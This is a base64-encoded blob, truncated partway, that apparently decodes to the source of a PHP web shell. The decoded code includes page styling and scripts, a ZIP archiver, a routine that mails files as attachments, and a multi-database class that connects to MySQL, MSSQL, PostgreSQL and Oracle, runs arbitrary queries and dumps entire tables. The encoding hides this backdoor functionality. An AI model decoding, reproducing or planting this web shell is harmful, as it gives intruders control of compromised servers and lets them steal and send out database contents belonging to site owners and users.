ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQptYXJnaW46IDFweDsNCmNvbG9yOiBSZWQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCn0NCi5tYWluIHsNCm1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KYm9yZGVyCQkJOiBXaGl0ZSBzb2xpZCAxcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7DQp9DQoNCkE6bGluayB7DQoJQ09MT1I6ICMzNDcyMDI7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCUNPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQo8L1NUWUxFPg0KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4NCmZ1bmN0aW9uIGhpZGVfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MDtcJzsNCn0NCmZ1bmN0aW9uIHNob3dfZGl2KGlkKQ0Kew0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnYmxvY2tcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7DQp9DQpmdW5jdGlvbiBjaGFuZ2VfZGl2c3QoaWQpDQp7DQogIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9PSBcJ25vbmVcJykNCiAgICBzaG93X2RpdihpZCk7DQogIGVsc2UNCiAgICBoaWRlX2RpdihpZCk7DQp9DQo8L3NjcmlwdD4nOw0KY2xhc3MgemlwZmlsZQ0Kew0KICAgIHZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7DQogICAgdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KICAgIHZhciAkb2xkX29mZnNldCAgID0gMDsNCiAgICBmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCiAgICAgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KICAgICAgICAgICAgJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfA0KICAgICAgICAgICAgICAgICgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQ0KICAgIHsNCiAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRpbWVbNl0gLiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOw0KICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7DQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gZ3pjb21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KICAgICAgICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNyYyk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCAwKTsNCiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7DQogICAgICAgICRmciAuPSAkemRhdGE7DQogICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7DQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsNCiAgICAgICAgJGNkcmVjIC49ICRoZXhkdGltZTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KICAgICAgICAkdGhpcyAtPiBvbGRfb2Zmc2V0ICs9IHN0cmxlbigkZnIpOw0KICAgICAgICAkY2RyZWMgLj0gJG5hbWU7DQogICAgICAgICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGZpbGUoKQ0KICAgIHsNCiAgICAgICAgJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiAgICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQogICAgICAgIHJldHVybg0KICAgICAgICAgICAgJGRhdGEgLg0KICAgICAgICAgICAgJGN0cmxkaXIgLg0KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4NCiAgICAgICAgICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4NCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuDQogICAgICAgICAgICAiXHgwMFx4MDAiOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpDQogew0KICAgIGdsb2JhbCAkY29udGVudF9lbmNvZGluZzsNCiAgICBnbG9iYWwgJG1pbWVfdHlwZTsNCiAgICBpZiAoJGNvbXByZXNzID09ICdiemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmJ6Mic7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7DQogICAgICAgICRmaWxlZHVtcCA9IGJ6Y29tcHJlc3MoJGZpbGVkdW1wKTsNCiAgICAgfQ0KICAgICBlbHNlIGlmICgkY29tcHJlc3MgPT0gJ2d6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpDQogICAgIHsNCiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmd6JzsNCiAgICAgICAgJGNvbnRlbnRfZW5jb2RpbmcgPSAneC1nemlwJzsNCiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOw0KICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgkZmlsZWR1bXApOw0KICAgICB9DQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpDQogICAgIHsNCiAgICAgCSRmaWxlbmFtZSAuPSAnLnppcCc7DQogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAgICAgJHppcGZpbGUgPSBuZXcgemlwZmlsZSgpOw0KICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsNCiAgICAgICAgJGZpbGVkdW1wID0gJHppcGZpbGUgLT4gZmlsZSgpOw0KICAgICB9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAJJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KICAgICB9DQogfQ0KZnVuY3Rpb24gbWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCkNCiB7DQogJGhlYWRlcnMgID0gIkZyb206ICRmcm9tXHJcbiI7DQogJGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7DQogJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107DQogJGhlYWRlcnMgLj0gIjsgbmFtZT1cIiIuJGF0dGFjaFsnbmFtZSddLiJcIlxyXG4iOw0KICRoZWFkZXJzIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuXHJcbiI7DQogJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7DQogaWYoQG1haWwoJHRvLCRzdWJqLCIiLCRoZWFkZXJzKSkgeyByZXR1cm4gMTsgfQ0KIHJldHVybiAwOw0KIH0NCmNsYXNzIG15X3NxbA0KIHsNCiB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsNCiB2YXIgJHBvcnQgPSAnJzsNCiB2YXIgJHVzZXIgPSAnJzsNCiB2YXIgJHBhc3MgPSAnJzsNCiB2YXIgJGJhc2UgPSAnJzsNCiB2YXIgJGRiICAgPSAnJzsNCiB2YXIgJGNvbm5lY3Rpb247DQogdmFyICRyZXM7DQogdmFyICRlcnJvcjsNCiB2YXIgJHJvd3M7DQogdmFyICRjb2x1bW5zOw0KIHZhciAkbnVtX3Jvd3M7DQogdmFyICRudW1fZmllbGRzOw0KIHZhciAkZHVtcDsNCg0KIGZ1bmN0aW9uIGNvbm5lY3QoKQ0KICB7DQogIAlzd2l0Y2goJHRoaXMtPmRiKQ0KICAgICB7DQogIAkgY2FzZSAnTXlTUUwnOg0KICAJICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0NCiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAJICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAJIGJyZWFrOw0KICAgICBjYXNlICdNU1NRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiAgCSAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiAgCSAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOw0KICAgICAgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOw0KICAgICBicmVhazsNCiAgICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnNTQzMic7IH0NCiAgICAgICRzdHIgPSAiaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsNCiAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7DQogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsNCiAgICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG9jaWxvZ29uKCR0aGlzLT51c2VyLCAkdGhpcy0+cGFzcywgJHRoaXMtPmJhc2UpOw0KICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsNCiAgICAgYnJlYWs7DQogICAgIH0NCiAgICByZXR1cm4gMDsNCiAgfQ0KDQogZnVuY3Rpb24gc2VsZWN0X2RiKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgCSBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIHJldHVybiAxOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAwOw0KICB9DQoNCiBmdW5jdGlvbiBxdWVyeSgkcXVlcnkpDQogIHsNCiAgICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOw0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpDQogICAgICB7DQogICAgICAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgICAgcmV0dXJuIDA7DQogICAgICB9DQogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0NCiAgICAgcmV0dXJuIDI7DQogIAlicmVhazsNCiAgICBjYXNlICdNU1NRTCc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCiAgICAgIHsNCiAgICAgICR0aGlzLT5lcnJvciA9IEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICAgIHJldHVybiAwOw0KICAgICAgfQ0KICAgICAgZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSB7IHJldHVybiAxOyB9DQogICAgIHJldHVybiAyOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsNCiAgICAgIH0NCiAgICAgZWxzZQ0KICAgICAgew0KICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpDQogICAgICAgew0KICAgICAgIGlmKEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKSAhPSAwKSByZXR1cm4gMjsNCiAgICAgICByZXR1cm4gMTsNCiAgICAgICB9DQogICAgICAkZXJyb3IgPSBAb2NpZXJyb3IoKTsNCiAgICAgICR0aGlzLT5lcnJvcj0kZXJyb3JbJ21lc3NhZ2UnXTsNCiAgICAgIH0NCiAgICBicmVhazsNCiAgICB9DQogIHJldHVybiAwOw0KICB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpDQogIHsNCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7DQogICAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOw0KICAgJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOw0KICAJICR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0KICAJIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOw0KICAJIEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsNCiAgCSBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAJICR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7DQogIAkgJHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7DQogIAkgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQG1zc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgCSB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAcGdfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgCSBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOw0KICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAb2NpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSkgJHRoaXMtPm51bV9yb3dzKys7DQogICAgIEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOw0KICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgfQ0KICAgcmV0dXJuIDA7DQogIH0NCiBmdW5jdGlvbiBkdW1wKCR0YWJsZSkNCiAgew0KICAgaWYoZW1wdHkoJHRhYmxlKSkgcmV0dXJuIDA7DQogICAkdGhpcy0+ZHVtcD1hcnJheSgpOw0KICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOw0KICAgJHRoaXMtPmR1bXBbMV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsNCiAgICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOw0KICAgJHRoaXMtPmR1bXBbNF0gPSAnIyMgICAgVGFibGU6ICcuJHRhYmxlOw0KICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXTsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAJICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7DQogICAgICAkdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ